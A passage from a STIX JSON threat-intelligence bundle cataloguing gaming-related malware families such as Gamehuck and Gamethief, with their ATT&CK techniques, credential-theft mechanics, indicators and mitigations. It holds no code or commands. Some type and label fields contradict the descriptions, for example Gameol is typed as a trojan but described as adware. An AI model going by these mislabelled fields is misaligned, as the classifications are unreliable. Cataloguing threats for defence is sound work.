unexpected additions to browser extension directories, modifications to `LNK` shortcut files (e.g., appending a URL to the target path of the Chrome shortcut), and anomalous processes communicating with known adware tracking domains. Users will report excessive ads, especially those labeled 'Ads by Gamebox' or similar. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gamebox",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gamebox"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54854d4a-cd0c-5bc2-9444-2da24de674f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed370dd8-4e3b-5a7f-81fe-ac271629bce7",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamebox exhibits technique T1176 (Browser Extensions (Installing malicious adware extensions))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d06f8d76-33f2-500a-93ac-ff333bc20ba9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed370dd8-4e3b-5a7f-81fe-ac271629bce7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamebox exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c854fec0-b2f2-53ec-93c9-49d560c25297",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed370dd8-4e3b-5a7f-81fe-ac271629bce7",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamebox exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10949c0b-37ce-566d-8ace-c631498f1474",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed370dd8-4e3b-5a7f-81fe-ac271629bce7",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamebox exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7759b751-cc08-5e3b-882d-66c476a3ca24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gamehack",
      "description": "GameHack (identified by enterprise antivirus detection engines as Tool:Win32/GameHack, Riskware:Win32/GameHack, and PUA.Win32.GameHack) is a broad classification of game cheat utilities, trainers, and dynamic memory editors analyzed by Microsoft Defender and Sophos. While frequently sought after by gamers to modify in-memory game variables, infinite health parameters, or bypass anti-cheat mechanisms, GameHack binaries almost universally require administrative privileges and utilize kernel-level drivers or debug APIs (such as OpenProcess, ReadProcessMemory, and WriteProcessMemory) to inject unverified code into active process spaces. Threat actors routinely distribute trojanized versions of popular GameHack tools across third-party gaming forums, Discord servers, and file-sharing networks to deliver stealthy secondary payloads including cryptominers, credential stealers, and remote access trojans while instructing users to disable Windows Defender real-time protection. (Observed samples in benchmark: 1,656)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Tool:Win32/GameHack",
        "Riskware:Win32/GameHack",
        "PUA.Win32.GameHack",
        "Win32/GameHack.Tool",
        "HackTool.Win32.GameHack"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gamehack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gamehack"
        }
      ],
      "labels": [
        "pua_tool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--daba950f-6387-52dc-a034-e26ac31572ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7759b751-cc08-5e3b-882d-66c476a3ca24",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamehack exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0328288d-4c6a-5ff4-8708-125692dc60fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7759b751-cc08-5e3b-882d-66c476a3ca24",
      "target_ref": "attack-pattern--2a9b7a70-b49c-5ee1-bc63-636b409c46ff",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamehack exhibits technique T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8abe755d-0e79-595f-b888-c37ca9294553",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7759b751-cc08-5e3b-882d-66c476a3ca24",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamehack exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0e9eeed-846c-5c38-8e52-ba967816568d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7759b751-cc08-5e3b-882d-66c476a3ca24",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamehack exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26f0bfd7-e317-5fdd-a12c-7edd8ba460a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7759b751-cc08-5e3b-882d-66c476a3ca24",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamehack exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a04d8ec2-1ccc-55f1-ae6e-665b6ef04014",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7759b751-cc08-5e3b-882d-66c476a3ca24",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamehack exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f131922d-31d6-58bd-86ad-b10ceb435fe5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gamehuck",
      "description": "PWS:Win32/Gamehuck is a highly specialized Password Stealer (PWS) trojan designed specifically to target, harvest, and exfiltrate credentials and valuable digital assets from online gaming platforms (such as Steam, Battle.net, Origin, and various MMOs). The primary motivation behind Gamehuck is financial; stolen accounts with rare in-game items or linked credit cards are rapidly sold on underground forums.<br><br><b>Understanding Gamehuck</b><br>To an end-user, the infection often begins when they download a 'cheat', 'aimbot', or 'currency generator' for a popular video game. The malware operates silently in the background, specifically monitoring for the launch of targeted gaming clients. For security analysts, while Gamehuck might seem like a consumer-focused threat, its presence on a corporate endpoint indicates a severe violation of acceptable use policies and proves that the user is actively bypassing security controls to execute untrusted binaries.<br><br><b>Execution and Credential Harvesting Mechanics</b><br>Gamehuck is almost exclusively distributed via deceptive social engineering on gaming forums, Discord servers, and YouTube videos advertising game hacks (`T1204.002`). Upon execution, the malware establishes persistence via the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key (`T1547.001`). Its core functionality revolves around credential access (`T1555`). It scans the file system for specific configuration files (like Steam's `ssfn` authorization files) and uses keylogging (`T1056.001`) when the user types their password into the gaming client. Advanced variants also attempt to steal session cookies from web browsers to bypass Multi-Factor Authentication (MFA) on the gaming platforms (`T1539`). The harvested data is then encrypted and exfiltrated to a C2 server or dropped into a Telegram channel (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the loss of personal gaming accounts and potential financial loss, though on a corporate network, it represents a compromised endpoint. IoCs include EDR alerts for keylogging activity (API hooks on `SetWindowsHookEx`) originating from a recently downloaded binary. Network analysts might observe unauthorized FTP or HTTP POST requests containing encrypted archives sent to unusual IP addresses. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gamehuck",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gamehuck"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39e366bb-0746-55d3-8897-8ca643340377",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f131922d-31d6-58bd-86ad-b10ceb435fe5",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamehuck exhibits technique T1555 (Credentials from Password Stores (Targeting gaming client configs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bdb495b7-f26d-5bcd-80d5-9e1ffb9b7f59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f131922d-31d6-58bd-86ad-b10ceb435fe5",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamehuck exhibits technique T1056.001 (Input Capture: Keylogging (Capturing game logins))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--230ca325-db03-569a-9a0c-4725e72fa3c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f131922d-31d6-58bd-86ad-b10ceb435fe5",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamehuck exhibits technique T1539 (Steal Web Session Cookie (Bypassing MFA))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87bad4ee-0fcc-5be3-93c2-f04887fde061",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f131922d-31d6-58bd-86ad-b10ceb435fe5",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamehuck exhibits technique T1204.002 (User Execution: Malicious File (Disguised as game cheats))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--caf08f05-1e0b-5421-901c-9870f55a58d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gamemodding",
      "description": "GameModding (cataloged in threat telemetry under signatures such as HackTool:Win32/GameModding!pz, PUA:Win32/GameModding, and Riskware.GameModding) designates automated wrapper installers and patch utilities distributed primarily through gaming mod repositories (notably GameModding.net). Developed to simplify the integration of custom vehicle models, textures, animations, and scripts into PC titles (including the Grand Theft Auto series, The Elder Scrolls, and Fallout), these utilities package community modifications inside proprietary executable installers. To monetize free downloads, the installers frequently employ aggressive software bundling practices, packaging adware downloaders, sponsored browser extensions, and affiliate utilities into the setup routine without clear or conspicuous disclosure. Furthermore, because GameModding installers perform dynamic memory patching and inject dynamic-link libraries (DLLs) directly into target game processes to bypass engine checksums, antivirus heuristics routinely flag the executables as hacktools or potentially unwanted applications. In corporate environments, the execution of unverified mod installers presents considerable supply-chain and credential exposure risks. (Observed samples in benchmark: 244)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/GameModding!pz",
        "PUA:Win32/GameModding",
        "Riskware.GameModding",
        "GameModding.Net Installer",
        "Win32/GameModding"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gamemodding",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gamemodding"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0d4093c-fe1e-5e66-9fdc-8cd2f01a1f90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--caf08f05-1e0b-5421-901c-9870f55a58d6",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamemodding exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5a0c092-ded5-5e5e-bf40-07157b0001ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--caf08f05-1e0b-5421-901c-9870f55a58d6",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamemodding exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ed489fc-bbea-59e6-98ec-45c585ccc7d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--caf08f05-1e0b-5421-901c-9870f55a58d6",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamemodding exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b29140f-173c-5b70-9d79-278387de679f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--caf08f05-1e0b-5421-901c-9870f55a58d6",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamemodding exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee7a10f6-dcac-5e2b-aa6c-ef4107fd878c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--caf08f05-1e0b-5421-901c-9870f55a58d6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamemodding exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a329c2d6-30dd-589b-8990-80f682ed49da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gameol",
      "description": "<h3>Executive Summary</h3>\nGameol is a pervasive family of Potentially Unwanted Programs (PUPs) and aggressive Adware that primarily targets casual gamers. Masquerading as a free portal for browser games, game mods, or \"flash player updates,\" the software's true objective is to monetize the user's system by hijacking web traffic, altering browser configurations, and injecting highly intrusive, unclosable advertisements.\n\n<h3>Distribution and Technical Behavior</h3>\nGameol is heavily distributed via deceptive advertising networks on gaming websites, bundled within the installers of \"free\" game trainers or mods, and through fake software updates hosted on low-reputation download portals.\n\nOnce installed, Gameol deeply integrates with the operating system and installed web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> The PUP forcefully alters the browser's default search engine, homepage, and new tab settings. It redirects all search traffic through a specific portal controlled by the adware operators, allowing them to intercept queries and generate pay-per-click revenue.</li>\n<li><strong>Ad Injection and Overlays:</strong> The software installs a local proxy or malicious browser extensions to intercept web traffic. It injects banners, pop-unders, and sponsored links into the user's web viewing experience, often overlaying legitimate content with fake \"Play Now\" buttons or game ads.</li>\n<li><strong>System Alteration:</strong> To ensure it remains active, Gameol creates persistent Scheduled Tasks and modifies the Windows Registry to automatically launch its ad-serving components upon system boot.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Gameol is not a destructive virus (it does not encrypt files or steal banking credentials), it introduces massive operational friction and privacy risks. The continuous ad injections severely degrade system performance, and the hijacked search results are frequently served by low-tier ad networks, significantly increasing the risk of exposure to more severe \"malvertising\" attacks.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Gameol executables, hidden scheduled tasks, and persistent registry keys.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers (especially gaming platforms) that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Gameol",
        "PUP.Gameol",
        "BrowserModifier:Win32/Gameol"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gameol",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gameol"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4eb8c4d1-7f34-5e92-9131-da12f5be0e51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a329c2d6-30dd-589b-8990-80f682ed49da",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gameol exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b1d7f79-bcdb-552a-8d56-c890e908dabf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a329c2d6-30dd-589b-8990-80f682ed49da",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gameol exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aee675fa-4345-53cc-b9eb-c0e30b937fc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a329c2d6-30dd-589b-8990-80f682ed49da",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gameol exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c325a9fc-313f-5c78-99b6-afd5da72a297",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gameserver",
      "description": "Riskware:Win32/Gameserver is a heuristic detection used to flag the presence of unauthorized server applications, specifically private game servers (e.g., World of Warcraft, Minecraft, or Counter-Strike), running on corporate infrastructure. While not inherently a virus, in an enterprise context, these applications are severe policy violations. Furthermore, threat actors frequently disguise malicious payloads (like Cryptominers or RATs) using 'Gameserver' filenames to avoid suspicion from casual administrators.<br><br><b>Understanding Gameserver (Unauthorized Infrastructure)</b><br>To an employee, it might be a way to host a game for friends. For a security administrator, a Gameserver detection represents 'Shadow IT', a massive waste of corporate bandwidth and compute resources, and a severe expansion of the external attack surface. These servers require opening inbound firewall ports (`T1562.004`), exposing the corporate network to unpatched vulnerabilities present in the game server software.<br><br><b>Execution and Risk Mechanics</b><br>The software is usually downloaded intentionally by an employee and run either as a background process or installed as a service for persistence (`T1543.003`). Because these are often reverse-engineered or 'cracked' versions of official servers, they are riddled with vulnerabilities. Attackers actively scan the internet for default game server ports; if they find an unpatched server running on a corporate IP, they will exploit it to gain a foothold on the internal network (`T1190`). Additionally, many 'Gameserver' downloads from underground forums are actually trojanized, silently installing cryptominers (`T1496`) alongside the server functionality.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized consumption of resources and the introduction of critical vulnerabilities. Host-based IoCs include the presence of known game server executables (e.g., `hlds.exe`, `mangosd.exe`) running on enterprise servers or workstations. Network IoCs are highly visible: sustained, high-bandwidth UDP or TCP traffic on non-standard ports (e.g., 27015, 25565), and external IP addresses continuously connecting to internal endpoints. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gameserver",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gameserver"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0179f9d-7311-5f95-acf4-48ef399e767b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c325a9fc-313f-5c78-99b6-afd5da72a297",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gameserver exhibits technique T1190 (Exploit Public-Facing Application (Game servers are frequent targets for exploitation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--577c8d27-0445-5788-a153-7efce3e58465",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c325a9fc-313f-5c78-99b6-afd5da72a297",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gameserver exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Opening ports for the server))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--364e87ce-d391-5538-b341-917dc2567fc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c325a9fc-313f-5c78-99b6-afd5da72a297",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gameserver exhibits technique T1496 (Resource Hijacking (If the 'server' is actually a disguised cryptominer))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1cfde62e-048e-513d-85a3-d02c4120914a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gamethief",
      "description": "Trojan:Win32/Gamethief (or Trojan-PSW:Win32/OnLineGames) is a broad classification for specialized credential stealers designed specifically to target the lucrative market of online gaming. Instead of banking credentials, Gamethief variants target accounts for platforms like Steam, Origin, Battle.net, and specific MMOs (e.g., World of Warcraft). The goal is to steal the accounts themselves or strip them of valuable virtual items and currency to be sold for real money on gray-market forums (`T1552`).<br><br><b>Understanding Gamethief (Gaming Credential Stealers)</b><br>To an end-user, the infection often goes unnoticed until they attempt to log into their game and find their password changed or their virtual inventory emptied. For threat intelligence, Gamethief represents a massive, highly organized underground economy. Because gaming platforms historically had weaker 2FA adoption than banks, they became prime targets for rapid monetization.<br><br><b>Execution and Theft Mechanics</b><br>Gamethief is usually distributed via gaming-related channels: fake 'cheats', 'aimbots', 'currency generators', or malicious links posted in gaming Discord servers or forums (`T1566.002`). Upon execution, the trojan rarely attempts deep persistence. Instead, it immediately scans the file system for specific registry keys, configuration files (`.vdf` files for Steam), or session tokens associated with targeted gaming clients (`T1005`). It also implements keylogging (`T1056.001`) to capture the username and password when the user next logs into the game client. The stolen data is quickly exfiltrated to a C2 server.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the loss of the gaming account and associated virtual assets, which can represent significant real-world monetary value. Host-based IoCs include EDR alerts for unknown executables accessing the specific installation directories of gaming clients (e.g., `C:\\Program Files (x86)\\Steam`), unauthorized API hooking of keyboard input (`SetWindowsHookEx`), and the rapid creation and deletion of temporary files used for staging stolen data. Network IoCs involve outbound HTTP/FTP traffic to exfiltrate the credentials. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gamethief",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gamethief"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--714314da-e0c9-5017-921d-f2f07192970c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cfde62e-048e-513d-85a3-d02c4120914a",
      "target_ref": "attack-pattern--dfecdec0-7be6-56fc-8789-28cce9b2a2fc",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamethief exhibits technique T1552 (Unsecured Credentials (Searching for saved session tokens and config files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0353ca72-1254-55d7-8b28-53e2e5bafb8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cfde62e-048e-513d-85a3-d02c4120914a",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamethief exhibits technique T1056.001 (Input Capture: Keylogging (Capturing passwords entered into game clients))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1952989-a1ca-5a54-af0f-584bd4a612ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cfde62e-048e-513d-85a3-d02c4120914a",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
